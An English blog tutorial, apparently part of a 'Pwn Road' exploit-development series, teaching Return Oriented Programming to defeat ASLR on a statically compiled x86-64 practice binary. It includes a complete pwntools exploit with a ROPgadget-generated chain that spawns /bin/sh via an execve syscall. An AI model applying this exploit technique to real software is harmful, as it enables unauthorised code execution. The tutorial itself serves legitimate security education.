Small edit after the initial publication of the articles:
These four articles lead me to give an “pwn introductory” conference at the HitchHack 2018. It summarizes the first 3 articles but goes less into detail. If this format suits you better, the slides are downloadable here and the video (French only) here :
Pwn Road, third stop, welcome aboard!
Yesterday, the simple buffer overflow and ret2libc, today, ROP, or Return Oriented Programming, and tomorrow… Tomorrow the conquest of the world!
I left you yesterday on the ret2libc, which, seen from afar, consists in picking in the libc the functions that interest us the most. Except that this attack is not possible in the case where the program is compiled statically, and hardly feasible if the ASLR is enabled. Today we will discover the ROP that allows us to bypass these protections.
It looks more and more like the cat and mouse game, so…
Follow the leader cat!
ASLR and PIC details
Before we start, a little feedback on these sometimes confusing protections.
The ASLR is configured through
/proc/sys/kernel/randomize_va_space. It can be set to 0=off, 1=on (stack and heap), 2=on (1 + .data). The value 2 being the new standard being adopted, which is already effective for the most part.
The ASLR therefore leaves a whole non-randomized attack surface. So what had to happen happened: attacks using the sections .text, .data, .got, .plt, …
More information on the different sections and structure of an ELF here: ELF_format
As the ASLR is not sufficient, new protections have been put in place: PIC / PIE (Position Independent Code / Executable). The mainidea is simple… How about we randomize… EVERYTHING?!
ROP works with partial or total ASLR, but is countered by the latest measure…
Following at the next countermeasure! è.é
Presentation of the technique
Return… Oriented… Programming…
Um um… Programming… With… Return? °^°’
We’re going to take advantage of the fact that the .text section of the program is still in the same place to pick up a lot of little pieces of code called gadgets, and assemble them to do our exploit. The exploit is therefore a series of addresses pointing at assembler, so in the absolute, we can do everything with it. The only limit? The gadgets that are available in the program…
Even if we “can do everything”, the most common strategy remains to do as in article 1 where we generate a shellcode which, via a syscall, allows us to execute a program of our choice.
An important thing to note here: We need gadgets. Gadgets are code that doesn’t move. Libraries are always relocated. So a program based on libraries will have a much smaller attack surface than a program compiled in static that would contain all the code it needs. Also, the larger the program will be and the more complex actions it’ll do, the more likely you’ll find interesting stuff inside. Capich? Noice!
Now, let’s go more into detail about gadgets, shall we?
They must all meet a major criterion: End with a ret instruction.
It is this criterion that makes the attack possible. Indeed, when we control the instruction pointer, we will make it execute a first gadget. When it’ll reach the final ret instruction, the previous saved instruction pointer will be restored the execution will continue on the stack (which we just overflowed). But the next address will be the one of the second gadget and so on.
However, if your gadget ends with a ret, but contains instructions that modify the execution flow of the program, it may break your exploit. So no
double ret, no arms, and above all: no chocolate.
Many tools are available to list the gadgets of an executable, such as ROPgadget, Ropper, XRop, …
Elaboration of the exploit
The studied binary is downloadable here
First of all, we look at what we’re dealing with: x86-64, compiled in static, full ASLR. Okay!
You’re used to it now, the classic one:
Understand how the program works, find the crash, then the offset!
Here again, we see that we crash on a ret… Do we control RSP? Yes! Offset? 264!
Small reminder, ret has the effect of placing what RSP points to (so the last element of the stack), in RIP. So we have RIP under our control. So… RIP!
We then use the ropgadget tool which offers us a superb ropchain made with our vulnerable program:
$ ropgadget --binary vuln --ropchain
The output is long (verbose), I only put part of it:
So we make it a python file, our exploit is the following:
#!/usr/bin/env python2 from pwn import * # Setting up context.log_level = "debug" offset = 264 payload = "A" * offset payload += p64(0x00000000004016a7) # pop rsi ; ret payload += p64(0x00000000006b41c0) # @ .data payload += p64(0x000000000043167d) # pop rax ; ret payload += '/bin//sh' payload += p64(0x000000000045f661) # mov qword ptr [rsi], rax ; ret payload += p64(0x00000000004016a7) # pop rsi ; ret payload += p64(0x00000000006b41c8) # @ .data + 8 payload += p64(0x000000000041918f) # xor rax, rax ; ret payload += p64(0x000000000045f661) # mov qword ptr [rsi], rax ; ret payload += p64(0x000000000040158b) # pop rdi ; ret payload += p64(0x00000000006b41c0) # @ .data payload += p64(0x00000000004016a7) # pop rsi ; ret payload += p64(0x00000000006b41c8) # @ .data + 8 payload += p64(0x0000000000432ef5) # pop rdx ; ret payload += p64(0x00000000006b41c8) # @ .data + 8 payload += p64(0x000000000041918f) # xor rax, rax ; ret payload += p64(0x0000000000453b50) * 59 # add rax, 1 ; ret payload += p64(0x00000000004546e5) # syscall ; ret p = process("./vuln") p.recv() p.sendline(payload) p.interactive() p.close()
Isn’t it beautiful all this automation? Well, it doesn’t always work, but when it works, the time saved is huge, especially in CTF… ;)
We will now exploit it:
TADA, one more shell! :D
Small detail that kills, we see here that $0 (the name of the executed program) is
bash, whereas in our ropchain, we had
/bin//sh (which is understood as
/bin/sh). But that’s normal, because on my machine,
/bin/sh is a symbolic link that points to bash! My real sh is
But… That doesn’t match the previous exploits?!
Whoa! Whoa! One that follows! Yes, indeed…
More information on this strangeness our dear beloved friens Pixis’s website : sh_vs_bash
That’s it for this short introduction to ROP, I hope it blown your mind as much as mine when I found out about this attack. You now have many cards to play with: BOF / shellcode / ret2libc / ROP / brain / …
That is why our next meeting will be based on the analysis of a more complete program. So we’re going to conclude this series and…
Blow up the world!
See you soon for even more pwn!